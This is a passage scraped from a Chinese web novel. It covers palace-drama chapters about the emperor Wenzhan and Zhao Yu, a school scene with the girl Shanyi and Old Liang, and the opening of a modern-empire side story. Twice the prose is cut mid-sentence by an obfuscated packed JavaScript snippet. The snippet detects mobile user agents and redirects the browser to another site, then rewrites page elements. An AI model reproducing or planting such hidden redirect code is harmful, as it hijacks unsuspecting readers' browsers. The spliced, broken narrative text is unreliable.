俗话说‘皇帝爱长子,百姓宠幺儿’,可是当今陛下最宠爱的不是嫡长子文湛,反而是这个后宫一个不起眼的崔美人生的小儿子,承怡。这可是今上的心尖子,含在嘴里怕化了,顶在脑袋上怕歪了,偏偏这个小皇子不是个省油灯,整个大正宫无人不知无人不晓,——千万不要招惹他! 可是,世上总有人不信邪,比如当今的太子殿下文湛。 他似乎对于这个幼弟格外的,……,看不惯。 按照祖制,东宫名分已定,早早进入毓正宫读书,是名正言顺的储君。其他皇子读书不过虚应个景,长大以后早早就藩,安安分分的娶妻纳妾开枝散叶,所以皇帝和侍读学士们对于他们的功课没有督导的十分要紧。小皇子承怡更是个懒惰的,读书三天打鱼两天晒网,旁人都睁一只眼闭一只眼,只有太子看不惯。 太子隔三差五的就要考校承怡功课,让这个原本打算混吃等死的小皇子天天天头壳疼。 ——我别是上辈子欠了他很多钱吧! 微音殿是历代皇帝处理政务的地方,等闲的人无法靠近,如不封诏私自踏入汉白玉雕刻而成的丹陛,轻则抄家,重则灭族。 这里站着许多人,却都像是木雕泥塑。 承怡绕过他们,双手揣着方才赶工出来的字帖,趴在正殿大门向里看。 此时太子坐在文案前面,正在看书。 周围有人,却如同死亡一般安宁。 燃着一盏灯。 炉中是浓烈的香薰,瑰麝古老的味道,似乎伴随着整座宫殿凝结了时间的流逝。 太子将手中的书本放在书案上,他端起来茶盏,一点一点喝着水。他今年只有十四岁,按照民间来看,还只是个半大的孩子,可是生在皇室,身为储君,他根本没有年幼无知的权利。 承怡觉得太子已经看到他了,就是没抬头。他自己趴门边开始琢磨,——他是不进去呢,还是不进去呢,还是不进去呢? “承怡来了?” 殿内飘出来一个声音,淡泊的,如同流水,却浅浅有着金声玉振之感。 太子! 承怡一看躲不掉,双手把怀中的字帖高举过头顶,连忙进去。他刚想要磕头,却被太子阻拦,“行了,不用跪了。把字帖拿过来我看看。” 呃。 太子还有个毛病,就是承怡单独见他的时候,不需要跪,弄得他特别忐忑,每一次心中都嘀咕, ——难道太子殿下想要攒着我错处,以后算总账? …… “等一下!”赵毓嘴里还有刚喝的酒炊淮白鱼汤,急急忙忙吞咽下去,张嘴就是,“陛下,您说的这一段就不对了。如果我是弟弟,你是哥哥还是太子,我见了你一定要跪的,这是大郑国法!” 如今是元熙十四年,五月初五,端午。 文湛三十三岁寿辰。 宫里没有折腾,没有传戏班,没有王公贵戚进宫贺寿。 鹧鸪殿。 这里只有他与赵毓两个人,安安静静的吃着一桌御膳。 文湛给他手边的碟子中中夹了一片酒醋蹄酥,“我们小时候,这个家法不是很严苛。” 赵毓哀嚎,“不一样啊!!我是哥哥,即使你是储君,可是你一天没有登上大位,就算是太子,你也是弟弟。国法之外还有家法,就算我见你不跪,御史台那些鸟官也不会灭了我。你看,当年楚蔷生还吃弹劾人这口饭的时候,也没有揪住我不跪你这一条折腾。这就是法外容情!” “可是,如果你是哥哥,还是嫡长子,还是名分早就定的东宫!” “老天爷,你就是另外一个老爹!” “我见了老爹怎么跪,见了你就怎么跪,不然,御史台外加楚蔷生能把我弹劾到每年不但领不到俸禄,甚至还会倒找户部三瓜两枣。” 文湛,“我贴给你。” 赵毓,“那也不成。这人啊,想要老老实实的吃一辈子饭,就要顺顺当当的,不能去招惹御史台。” 文湛,“御史台怎么了?” 赵毓,“当年御史台与都察院还没合并,虽然不像如今纵横朝野,也不差。他们这些言官,有事没事都要搞出事情来。您是陛下,煞气大,那些言官在你面前乖巧的像孙子,可是在我们这些做臣子的面前,一个一个的都铁骨铮铮,弄死碰伤都得千古留名,谁敢惹他们呀!” 文湛从赵毓碗中挑了一块他不吃的鱼块,自己嚼了。 赵毓,“还是跪吧。” …… 承怡规规矩矩的跪下,行了礼,看上去小小的一只,像乖乖的猫。 太子发了话让他起来,他这才起来。 “太子殿下哥哥。”承怡双手举着自己辛苦写的字帖,“这是临摹殿下的字帖,您看看。” 太子拿过字帖,发现这几张生宣上写的字吧,真是浪费了徽州的贡品。 “承怡,你过来。” “呃,……” 承怡就站在书案旁边,当然,一定是距离太子最远的地方,他踮着脚,伸着脖子看自己写的字,他也知道写的不太好,不过他真尽力了。 “太子哥哥,您要动家法打我吗?” …… 文湛正在喝一口酒,闻言,差点喷了。他连忙放下酒盏,从袖子中拿出绢帕,捂住嘴,这才不让自己咳到饭菜上,而他身边的赵毓正在挖一只放在橙子中蒸的螃蟹,吃的两个腮帮子鼓鼓的。 “承怡,你怎么认为我会打你。” “你小时候脾气暴躁。”赵毓用黄金做的小勺子指了指自己的脸蛋子,“喏,你看。这上面挨过的耳光都是你打的。” 皇帝,“……” …… 太子说了一声,“过来。” 承怡向他那边挪了一小步,双手揪住木案的角,似乎十分不情愿。 太子,“你握笔姿势不好,我教你。” “可是,我今天已经写过字了。”承怡很讨厌抓笔,他总感觉自己右手手指好像是捡来的一般,不像别人的那样听使唤,“可不可以做些别的?” 出乎意料,其实太子并没有生气,依旧很和煦,“你想做什么?” 承怡,“弹弓!” 太子,“……” 承怡,“黄瓜给我做的弹弓太粗陋,只能打鸟,还是飞不动的肥鸟!我想要打叶子,还有花,那把弹弓不趁手!” …… “堂堂大郑皇子,不好好练习写字,反而学着做弹弓打花叶,这可要出千古笑话了。”文湛摇头,用金鎏花龙纹勺子给赵毓盛了一份酒煎羊二牲醋脑子,“你小的时候就算再偷懒,再骄纵,大面儿还是大抵不错的。” 赵毓,“我就说老爹贪小便宜,想着省钱,把我丢到东宫读书,学一些无用的屠龙术。我就是你的一个添头,算白送的,那些侍读学士们都没有按照我的性情好好教导我。要是能再重活一回,我不想学写字,我就要学做弹弓!” …… 太子让人取了木条,刀子,斧子,还有锯。 他与承怡坐在微音殿的金砖上。 呃。 柳丛容一见,连忙端了两个蒲团过来,让太子与小殿下一人一个。 太子坐姿还算端庄,倒也宝相庄严,这位小殿下则像个发面发大了的包子,直接瘫在上面了。 他们哥俩开始做弹弓。 此时,柳丛容带着人捧着酒馔进来,“殿下,这是主子赏的,御厨做的酒食。今天冬至,各宫都有,几位殿下的都已经由司礼监送过去了,小殿下的那一份由司礼监的绿直亲自送到了微音殿。” …… 故事讲到这里,赵毓忽然抬头,——那些兄弟们都还齐齐整整的,不像现在,那些人黄土掩了身子,坟头的树都合抱了。 文湛,“如果我是嫡长子,储君的名分又早定,那些人就不会有什么妄想,踏实本分一些,活的也长久。” 赵毓其实有些意外,他从来不认为文湛是一个眷念宗室手足的人,如今看来,他还是太肤浅了。文湛终究是个人,血肉之躯,有情感,只是,他头顶的冠冕,肩膀上压着的东西实在太重,他需要克制,克制再克制,将心中那些血脉亲情都压榨干净,才能成为坐在大正宫御座上那尊玉雕。 所以,他点头,“嗯,那样陛下的亲族多一些人,也热闹一些,也不会太孤单。” 文湛忽然笑了,却极冷,“我天生孤家寡人,要热闹做什么?” 天下汹汹,觊觎御位者不知凡几。 手足? 天家无父子亲情,更何况兄弟手足? 皇子们天生带着凶性,大郑又有武力夺取皇位的传统,那些‘兄弟’的存在本身对于文湛就是威胁。 只是,…… 文湛,“他们多活几个,多活几年,你看着也开心一些,至于其它,……,不提也罢。” …… 司礼监送过来的东西,给太子的是依照祖制做的菜码,而小殿下的却多加了许多他爱吃的酥饼和一份放在羊脂玉碗中的甜瓜葡萄,铺了一层蜂蜜。 如今西北有战事,这种甜瓜葡萄产自瓜、沙、肃、兰诸州,是用兵部的堪合送进雍京城的珍稀之物,大内中,也只有皇帝的那里供奉充裕。如今这个玉碗肯定是直接从陛下的御膳中端出来的。 酒菜都摆好。 太子已经可以喝一些清淡的米酒,可是小殿下实在太小,又馋,不能喝酒却馋那个味道,所以宫廷御厨给他准备了牛乳酿的浆酪,喝起来与米酒相仿,又多了酸酸甜甜,小殿下也就不抱怨了,捧着一个小罐子,很认真的喝起来。 “承怡。” 太子忽然说话。 小殿下从罐子中抬头,上嘴唇上有一圈白,“呃,太子哥哥,怎么了?” 太子伸出手,将小殿下揽在膝上,然后用袖子给他擦了擦嘴巴。这种感觉,就好像流离了多时的宝贝,终于揽入怀中。 …… 赵毓听着听着,总觉得哪里不对,他又仔细想了想,期间还被喂了两口科头细粉,才回神,“这个故事中没有咱们两个人的相交的源头。你看,我是哥哥,你牙疼,我给你送牙疼药,送了好多次,你才赏脸理睬我一次。然后慢慢的,我又给你偷酥饼,再加上老爹要省钱,不给我另外找师父,就把我塞到了东宫,这样我们才要好的。可是,如果你是哥哥,我就不会主动招惹你,以你这样古怪的性情,是不会向下看到一个比你小四岁的弟弟,我们是如何交好的呢?” 赵毓忽然觉得坐的很舒服,屁股下面是人肉而不是硬邦邦的木椅。 他再一看。 嗯。 果然。 他又滚到文湛怀中了。 最近这个姿势,似乎有些上瘾了。 文湛,“我看你写字,虽然写的不好,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728985|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很认真,作为长兄,我想要帮你,自然会亲近你。” 赵毓反驳,“作为长兄,我从来没有想过兄弟们写字好还是不好。” 文湛,“那是因为你懒散,而且毫无身为长兄的自觉。” “呃,好吧。不过,写字嘛,……”赵毓开始幻想,“我在毓正宫,临着楚楚给我写的字帖,……” 文湛忽然打断他,“为什么要临摹楚蔷生的字?” 赵毓说的理所当然,“因为楚楚是书法大家。” 文湛,“书法大家也不是天生的,楚左相的字和性子都是自己一步一步炼就的。这些年,他每向前走一步,性子就更坚毅,字的风骨也会硬,可是皮相却润了。他这条路不好走,毕竟‘凌烟阁一层一道鬼门关’。人经历过生死关口,活下来之后自然会了悟一些东西,倘若他楚蔷生还是当年那个毓正宫的侍读学士,性格孤戾,一脑门子愤世嫉俗,他的字也不过皮相稍好一些的凡品。” 赵毓一愣,“陛下,我从来没有想过,可以听到您亲口赞楚楚。” 文湛不以为然,“虽然我不喜欢他,可是他毕竟是大郑的宰辅。” 赵毓心中嘀咕,——可是,这位宰辅,难道不是陛下亲自选择的吗? 只是,文湛转而加了一句,“楚左相一直修自身,是真道学,不像崔姓某人,自从撕掉书生这层皮,就开始堕落,一直把斯文都堕没有了,如今再加上不学无术,安心做一个小小的三等侯,实在是不知所谓。” 赵毓,“……” 陛下,今天您寿辰,能不能放过老崔一天,别嘀咕他了。 哎,…… 文湛,“如果我是哥哥,你小的时候,一定会临摹我的字。” …… 时间回到凤化二十八年,暮春。 小殿下承怡被太子拘着练字。他的手指抓着毛笔,极其认真的在生宣上写出几个大大的好像在风中凌乱的杂草一般的“正楷”,太子看了一眼,叹口气,然后很自然的将他抱上膝盖,右手握住他的右手,攥住毛笔,极认真的矫正这位幼弟的笔迹,似乎比在微音殿跟随父皇处理政务还要上心。 …… 赵毓,“不对啊,你十四岁的时候,可不会这么耐心,那个时候的你好像吃错了什么,脾气特别不好。有的时候看你心情好一些,我可以见缝插针的说上几句,可是,不知道哪里不对劲了,你马上就会发火,而且,平时也阴晴不定的。” 那个时候,承怡遇到了高昌公主。 文湛不太想回忆那几年的事情,就说,“再来一回,我会控制脾气的。” 赵毓不太相信,“可人都说,江山易改本性难移。” 文湛,“我现在不是好好的?” 赵毓,“那是因为你长大了。” 文湛,“这只是一个故事,你还听不听?” 赵毓连忙道,“哦,那你继续讲。” …… 小殿下努力抓笔写了几个字,手指发酸,就想着再玩儿一会儿。太子算了算时辰,今天承怡写字也写了三炷香了,比昨天的一炷半算是进步了许多,于是就放开他的手指,“弹弓你做过了,我陪你喂鱼好不好?” 承怡,“嗯嗯。” 太子,“我让柳从容拌鱼饵。” …… “假,实在太假了。”赵毓忍不住说,“就算是黄河倒悬,陛下也不可能这样做。” 文湛看着他。 赵毓摇头道,“陛下此时应该怒发冲冠,然后一声河东狮吼,——承怡不许玩,今天不写够十张字帖不许吃饭!!!!” 文湛只是安静看着他,不说话。 沉默。 赵毓比狗熊掰过的棒子还粗的意识,也感觉到不对了,“怎么?” “河东狮?”文湛说,“龙丘居士亦可怜,谈空说有夜不眠。忽闻河东狮子吼,拄杖落手心茫然。陈季常的夫人家乡河东,加之说话嗓门大,犹如佛门狮子吼,故而苏东坡写了这首诗,打趣陈季常惧内,陈夫人为悍妇。这样的典故,承怡不会不知道。” 赵毓,“那就雍京狮子吼。” 文湛听着却笑了,浅浅的。 赵毓却说,“我知道,你总是觉得我们小的时候打打杀杀的太浪费岁月,可是,如果没有那一段时光,就没有我们想在的平静。十四岁的储君,无论如何也不会陪一个十岁的小孩子喂鱼。” “因为,……” “如果他这样做了,他和那个十岁的孩子都活不过十六岁。” “不过文湛谢谢你。” “虽然故事很假,可是,我很喜欢。” 皇帝看着近在咫尺的人。 “只是,……”赵毓,“我们,其实没有浪费任何光阴。” 皇帝的身边没有废王承怡的位子,却可以容得下赵毓,并不是因为他穿的了布衫,咽的下粗粮,而是因为他为西北,也为自己支撑起了一片广袤的天空。当然,更重要的是,他拥有了可以为文湛对抗十二道白玉珠冕旒的力量。只有此时,他靠近他,才是两个人的相守,而不是一个人对另外一个人的依附,他们都不会被大正宫吞噬。 十年的光景。 万水千山的距离。 其实。 只是,他走向他的一段征途。 “陛下。” 赵毓忽然说,“您讲的这个小故事发生的那一年,正好是老崔从南边回来述职的那一年,他带来了好多南方的土仪。我记得他也给我带了一些土产,其中最有价值的是一匹白丝做的一个小衣,绣着‘春满花枝’,那可是钱塘梅六娘的遗作,上面的梨花绣出了她毕生的针法,那件小衣哪里去了?” 文湛,“……” 剪碎,埋掉。 如今,那件小衣的坟头的树,都长成参天乔木了。 128. 128 128 珊伊第一次在雍南公学的院子中见到文湛。 他就坐在窗子下的桌边,用左手认真写字帖。 这不是她第一次见他。她第一次看到这个身份成谜的男人,是在西市的那个破院子中,那一天,母亲魂归长生天。 “你今天读书总是走神。”赵毓说话的时候并没有抬头,他的手指依旧放在书页上,“珊伊,你是饿了,还是,……” 此时,他抬头。 “心神散了?” 珊伊连忙把脸扭了过来,面对着赵毓,也重新看了他的指尖,还有那行字: ——都邑华夏,东西二京。宫殿盘郁,楼观飞惊。 她听见赵毓解说道,“这里的东西二京说的洛阳与长安。华夏的旧王都,见识了十数个王朝的兴衰,当年建造在那里的宫阙凌空于飞,使人心惊。” 珊伊,“这么华美的宫殿,比雍京大正宫呢?” 赵毓,“不知道。” 珊伊,“为什么?” 赵毓,“都做了土。” 珊伊,“比高昌王城呢?” 赵毓合上了书页,“我没有亲眼见过高昌王城,我去西疆的时候,高昌灭国已经五年,只余下一片荒芜。不过。我到听一位故人说过那里。王城用泥土和粗石随便垒起来,因为少雨,挺了二百多年,除了土缝隙中长了一些狗尾草之外,也没什么不好。远远看上去,倒也恢弘。” 珊伊出生在雍京,长在雍京,她从来没有回过故国,她只能从母亲的描述中,想象那里的样子。 “先知。”她问赵毓,“那里像彼岸天堂吗?” 赵毓,“别叫我先知,叫我先生。在大郑,先知不是先生而是神棍,整天烧符咒、摇旗、跳大神,做这些事情就为了骗钱。” 珊伊,“……” 赵毓说,“珊伊,你的名字是今生的晨星,寓意着希望,既然这样,就应该向前看,才不负这个名字,也不辜负为你起这个名字的人。因为向前走才有希望。不要回头,身后只有一片废墟。” 废墟? ——因为你,毁灭了那片土地。 珊伊低着头,又听见赵毓说,“饿了吧?现在也挺晚的了,你和送你过来的梁老仆在这里吃夜饭,顺便再给梁十一带些东西回去,省的回去再动锅灶,麻烦。” 在戏楼的时候,赵毓想起来今天应该来雍南公学给珊伊补课,文湛也要过来,他就一直担心。他原本怕梁十一送珊伊过来,碰到文湛不好。结果,来的人是梁老仆。这是好事,因为,这位老头儿没见过文湛,省得麻烦。 雍南公学的饭堂是一个盖着瓦片的木棚子。 檐下几排长长的木桌,桌面两旁是长条板凳。白天有课的时候,学堂中的小萝卜们端着自己的钵盂,装得满满的,可以把长桌挤满。如今天黑了,掌了灯,人烟散去,偌大的地方只有四个人,两个凑一对,默默吃着钵盂中的土菜,每个人手中还拿着一根筷子,穿着两个开花馒头。 梁老仆把自己碗中的肉挑了两块,放在珊伊的碗中,“丫头正在抽条,多吃点。” 说完,他端着碗坐到赵毓旁边。 赵毓看了看他,他没说话,沉默着吃着饭,把脸蛋子埋入碗中。 “有事?”赵毓问。 “我们老爷去相亲了。”梁老仆忽然把脸从碗中抽了出来,开口,“崔侯爷给保的媒。姑娘是您那位先夫人娘家的堂妹,是尹家三房六爷家的女,闺名叫做璎珞。崔侯叮嘱我一定要告知您身边的这位后生。难不成,这位尹家姑娘与您这位朋友之前有旧情?” 噗! 赵毓将嘴里的素丸子喷到地上。 事情太突然。 不过,更加突然的是,——这位尹家三房六爷家的女究竟是谁?!! 那边,文湛细嚼慢咽,将口中的食物吞咽下肚,开口,“去年正月,你在云中过年。你说过,令岳为你引荐过那位女子。” 哦!~~~~~ 想起来了!! 赵毓记忆起来在岳母“病床”前,那位被引荐的美丽女子。——纤细的脖子,美丽的头颅,就是头发挽成一个圆形的发髻,这是出嫁妇人的妆扮。 “不对啊,我怎么记得那位女子是出嫁妇人的装扮?她这是,……哦!是了!” 去年那个时候,为绮罗扫了墓,赵毓满脑子都是如何早日回雍京,不要等黄河解冻,那样路就没法子走了,心思没在云中。所以他见过的人,都不过脑子。当时见到这位女子只是想着是尹家的一位女,正月回娘家祖宅省亲的,如今一回想,陡然发觉,当时岳母让他见见,其实就是有意保媒拉纤。说明,这位女子,就算嫁过人,如今也是自由身了。尹氏这样的家族,女子应该不会被休,近百年来也无和离,那应该是寡居。 赵毓又说,“这女子好啊,她本人看着温柔端庄,样貌上好,一切都好,……,只是不知道,她有子女吗?” 梁老仆摇头。 赵毓点头,“更好!家里人口少一些,鸡毛蒜皮就少许多,日子过的就平顺。如果这件好事能成,我同老梁也算是一担挑了。” 梁老仆却看了看文湛。 赵毓连忙说,“我这位朋友同那位女子没有任何关系。还有,雍京不比乡间,朱门女子的名节大如天,以后,怀疑别人有旧情什么的话,可不要再说了。老头儿,你不知道,我听说过,凤化年间一位二品大僚,就因为怀疑女儿与马倌有私,为了自己的官声,将亲生女困在秀楼上,不让人送饭食,活生生的饿死了。下人们又害怕阴司,久久不敢查看,据说最后收尸的时候,女子身上桃红色的裙子都褪色了,那可是江南上好的缭雾纱。” 梁老仆后背有些发麻。自从他到了雍京城,时常会这样。他以为自己在乡间早已见识到了人世最惨绝的事,可惜,他错了。那个时候,一切的苦难都是命,都是老天爷不保佑,谁让他们前世不修,这辈子没有托生成上等人?可是,与乡间不同,如今雍京这些鬼蜮,都是人心。 他问,“那个二品大官杀亲骨肉,不会做噩梦吗?” 噩梦? 那一年,这位大人做了江苏学政,收了好几个得意门生。 一场酒宴之后,他信步到了水边,一阵风分花拂柳吹过来,他忽然心头一动,居然痛哭不止,显出了他最后一丝人性。不过,这种悲恸究竟是为了女儿,还是为了他府上刚死掉的一只极其名贵的猎犬,谁又知道呢? 当然。 这只是黄枞菖在很多年前打听来的闲闻逸事。那个时候,他还是不谙世事的大皇子,喜欢听一些离奇的见闻,不管是民间的还是官场的,不像现在的他,听得太多,见得太多,反而腻了,也淡漠了。 赵毓回答梁老仆,“我又不是托梦的星君,我怎么会知道?” “……” 此时,赵毓又重新开始认真吃饭。 梁老仆则看着已经吃完饭,正在帮助学堂的杂役收拾碗筷的珊依,陡然想到几天前,那位宁淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728986|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯到家中吃茶外加保媒拉纤的场景。 崔珩在后院同梁十一喝茶。 南镇抚司的人又来了,梁十一出去应酬,吩咐梁老仆招待崔珩吃饭。 梁老仆端了一碗炸酱面进来,就看见崔珩翘着二郎腿,歪在炕头上,像一只藤精树怪,——倒是怪稳当的。不管外面如何传这位外戚权贵的种种,在梁老仆的双眼看来,这个人就像乡下过年贴的剪纸凤凰,——看着花枝招展,其实是虚的,一把火就能化为灰烬,却,可以在另外一张红色草纸上经过村姑的一双巧手而涅槃重生。 崔珩见他进来,手指将茶盏放在炕桌上,“你们家那个丫头,……,最近去过西市吗?” 梁老仆摆上几碟子菜码,直摇头,“她娘都死了,早就断了念想儿了,自然是不去了。” 崔珩点头,“那就好。” 说着,他直起身子,梁老仆不知怎么着,看着他,竟然像是软炸里脊裹了一层面糊,顿时变得肃杀起来。 崔珩,“梁十一这个人傻,老头儿,我看你到比他多几个心眼。你帮着老梁盯着点儿门户,只要那个丫头再去西市,不管是去买零嘴儿,还是给她妈烧纸,……” 梁老仆放下面碗,还是感觉到手心沉甸甸的,他低头一看,崔珩在他手掌上放了一锭银子,——雍京铸银局铸的五十两官锭! “你都得动弹动弹。” “去一趟北城,兰叶巷,找我表弟赵毓。” …… 眼前。 赵毓吃的半张脸蛋子臌胀起来,他忽然扭头看着梁老仆,“你是不是有话要对我说?” 梁老仆看了看他,支吾了一下。 …… 梁老仆将手掌中的银锭子放回到崔珩面前,“我不做吃里扒外的事。” 崔珩看着他,忽然一笑,像是一张生宣活生生皱了,“好,好,好!” 他二话不说,把那颗银锭子收了起来。 “就算不为银子,你也得为老梁想想。他现在差事没了,以后就打算在雍京城这么混下去?他原来在镇抚司,做的都是断子绝孙的勾当,想独善其身,难。” “这世上的人和事,仇和怨,可不是你想躲,就能躲的开的。这段时日,别人不找老梁的麻烦,可不是他装缩头乌龟装的十足,而是人们看不清楚他的底牌,不知道他是不是来日可以东山再起,一旦他彻底坏了事,跌入泥坑再也爬不出来,那祸事和仇人都上门了。” “如果那个丫头真的有个什么能被你抓个正着,老梁抓住这个时机,重新得到圣上的信任,也不是不可能。” …… 赵毓又琢磨了一下,总觉得老梁家这位老仆从似乎有什么难言之隐,他捉摸着,应该还是梁十一的前途的问题,于是,他把嘴里的东西都咽下去,才说,“你别担心,老梁这个人吧,怎么说呢,我表哥挺欣赏他。他说过,现在满雍京城两条腿的畜生满街乱跑,可像他这样的实心实意的人却难找了。” 梁老仆,“呃,……” 赵毓,“不过,梁十一吧,也的确不是太适合再在镇抚司里面做事了,等……” ——有机会,换个地方,一定有大前途。 “先生。”珊依收拾好了东西,走过来,“我吃好了。” 她的话,将赵毓后面的半句截了回去。 梁老仆看了看赵毓,又想了想崔珩,觉得这对表兄弟说话古怪的很,于是就把‘今夜,珊依要去西市为亡的母亲烧纸’的事情,烂在肚子里。 130. 番外·一个非君主立宪制的现代帝国 番外·一个非君主立宪制的现代帝国 今天周末。 赵毓的司机去接一位重要客人,而上寄宿学校的赵格非放假,所以他需要自己去接闺女放学。 他下楼到车库,发现司机把他常用的那辆宾利开跑了,另外一辆帕萨特的车牌被限号,所以他只能放弃开车。 “真应该买一辆比亚迪,至少那个能上个绿牌子,不用被限号。” 幸运的是,楼下还放着一辆他经常下乡用的柴油摩托三轮车。(抗日剧中那些汉奸翻译官骑的拖斗三轮车)。 赵格非就读的谢氏书院是寄宿学校,雄踞北城,距离市区有一段距离,赵毓绕着七环到校门口的时候,天都快黑了。校园很大,其实是草地很多,甚至还有一半的土地是森林。赵毓在门卫那里刷了脸,门卫将门口地面上阻拦机动车的钢铁牙慢慢放平,赵毓就骑着他的摩托三轮车进去。从校门口到赵格非常待的图书馆,大约有五公里的山路。道路两旁都是白桦与红枫,再向草地中延伸,则是石楠与醋栗。 赵毓刚停车,正看见谢翾飞从图书馆出来,手指中还夹着一本《柳叶刀》,他刚在上面发表了一篇论文,正好作为谢氏书院的宣传素材。 谢翾飞是医生,但是因为这所学校是他们的家族事业,所以他还兼职校董和理事长。他现在西装革履的,看样子晚上有饭局。 “徽郡王的私宅有个小范围科学研讨会,今天的议题是使用AI延长寿命,接请帖的都是各行业的大佬,我去给学校化点缘,看看能不能建一个新能源实验室,你去吗?” “用AI续命?”赵毓感觉到好笑,“阿尔法实验室坚持了三十年,怎么也无法调试出往生者的记忆与AI行为预测性的相匹配的算法,他们不是已经放弃了吗?怎么,主管阿尔法实验室的佐藤樱博士不甘心,非要用‘AI续命’这个几将就木的故事再骗点钱?” “佐藤博士怎么想的,我并不清楚。”谢翾飞比赵毓显得稍微厚道一些,“不过这个项目的确有很多数据还是有很大的可取性的,今天到场的科学家们可以做一下稍微深入一些的沟通,也许柳暗花明。” “所有数据都有可取性,即使目前看起来一无是处的东西。”赵毓说。 即使是失败项目的数据也有价值,至少它们标识出了一条死路。不过,这个项目不止这些。 AI无法给活人续命,却可以给资本续命。 这是一个非常伟大的故事。 核心是人类有史以来最深刻,也是最渴望,甚至可以说是最野蛮的欲|望——immortality! 任何一个稍微有点忽悠能力的资本家,就可以把它包装成人类有史以来最伟大的生命科学创新公司,撒入市场,一轮一轮融资,最后让愿意或者不愿意但又无法不买单的人们去买单。 谢翾飞的小型直升机就停在‘红豆馆’后面的停机坪上。这个一人驾驶的小直升机的螺旋桨把天空中的气流搅动的如同阳澄湖中大闸蟹叛乱一般,赵格非才抱着书从周熙图书馆出来。(周熙为了给十三行重塑名声,到处捐楼。) 赵毓则把风镜摘下,看到赵格非,有些惊讶,“闺女,一个月不见,你怎么瘦成干啦?” 赵格非,“学校新换了厨子。” 赵毓,“我让赵大妈给你送饭吧。” “不用。”赵格非连忙摆手,“上学期赵大妈给我送的盒饭引起围观,有几个男生抢了一盒子糖醋排骨之后,甚至对赵大妈跪地求婚,引起过小规模的骚|乱,我可不想再给赵大妈惹什么麻烦。” 赵毓,“呃,……,你们学校的饭究竟有多难吃?” 赵格非也叹口气,“现在雍京私校圈中都传遍了,我们学校秉承古训,每天都是荞麦粥小酱菜,唯一的‘荤菜’就是植物蛋白,女生的体脂率平均不到15%。后果是,想要申请的人逐年暴增,录取率连年创新低,offer如此难搞,据说连本来就少的可怜的奖学金也要取消了。” 赵毓也跟着叹口气。 赵格非抱着书包上了三轮车的拖斗,赵毓带着她骑柴油摩托三轮车回城。鉴于赵格非在学校受到的‘虐待’,赵毓带着她回家之前专门拐弯去了南城,找了一家不错的小馆子解馋。 这种‘深夜食堂’一般的馆子很火爆,尤其是现在。天气渐渐热了起来,社会各个阶层的人在白天的时候分为‘占有生产资料的精英’与‘资本肉|体电池’,此时,夜幕下,褪去白天那层光晕,或者说,黑夜给漆上了一层保护色,白天泾渭分明的分界线已经模糊了。 总之,三教九流只裸|露出一个共同的爱好,——撸串与麻小。 赵毓他们面前的桌上摆着一盆子麻小,十串羊腰子,牛板筋,还有三十串肥瘦。 啤酒就是冰镇过的崂山。 老板把自己一个投影摆在外面,屏幕上是古老的电视剧《射雕英雄传》。备受大家喜爱的角色是男N号完颜洪烈,他在剧中的角色是一个男小三,但是因为诡异的单向的完全不符合心理学的痴情而得到了许多女性观众的倾心。 赵格非没见过这个剧,虽然屏幕的像素渣到犹如马赛克,可是她还是被剧情深深吸引了,她说,“亲爹,斑鸠能吃吗?” “能吧,没吃过。” “为什么不尝尝?” “我不吃不常规的肉。”赵毓,“防止感染奇怪的疯牛病。” “……” 赵格非继续看,过了一会儿,她又问,“亲爹,您在西北的时候,见过金人吗?” “没。”赵毓摇头,“我驻扎边境的时候,这些金人早被蒙古人灭了。” “可是,我小的时候在云中,也听到过一些战报传闻,好像咱们的军队从来没有遇到过蒙古人,他们哪儿去了?” 赵毓认真的回答,“蒙古诸王弯弓射雕越过高加索山,迷路了,没回来。” “……” 旁边一桌上,一个挽起袖子给麻小扒皮的精英,他明显对吸引了大多数人目光的电视剧这种老百姓喜闻乐见的娱乐活动没有兴趣,他正在用自己的手机看信天翁八台的新闻深度辩论。视屏中几个人辩论的如火如荼,各种专业名词高频泼出,并且是时不时带着比初中英语单词要长一些的政治名词,诸如:monarchy,constitutionalis|m,capitalis|m,以及freemarket。 现在的公众号满世界播撒一个理念:一个人接触到的信息也决定了社会地位,尤其是在八小时之外。所以,精英一般都不会浪费时间看消遣形式的视频。据说,这样可以保养大脑,不会占用更多的脑容量,也不会使大脑对于文字类的信息钝化,以及逻辑思维能力丧失。 今天的话题也是最近大热的话题,——最高大法官的人选。 让精英们极度感兴趣,同时可以明确把自己与普罗大众拉开断崖一般差距的兴奋点则是,——皇帝陛下提名谁? 郑国家的政体是人类有史以来的一朵奇葩。——郑是君主制国家,在如今现代国家林立的时代,它却拥有强大的国力,更不可思的是,它居然拥有与强大国力相辅相成的法制构架,同时,政府真的对所有人民负责。 与欧洲君主立宪制国家的君主不同,郑的皇帝手握实权;与联邦制的国家不同,郑拥有统一的中央集权;与资本主义国家不同,虽然郑拥有自由市场,却没有海外扩张,以军队、债务与强势货币殖民的darkhistory。它就好像携带了鱼香肉丝基因的番茄,又像是会飞的荧光蘑菇。可以说是前无古人,后无来者,独一无二的一朵奇葩。 大法官似乎就是法律之神在人间的守护者的实体。而大郑的最高法院拥有九位终身制的大法官,其他八位都已经各司其职,第九位的人选极其难产,如果无法平衡各方意见,这个位子可以一直空悬。今年,是这个位子空悬第十九年,而皇帝陛下决心在他执政的第十五年,把这把椅子上塞上一个人。 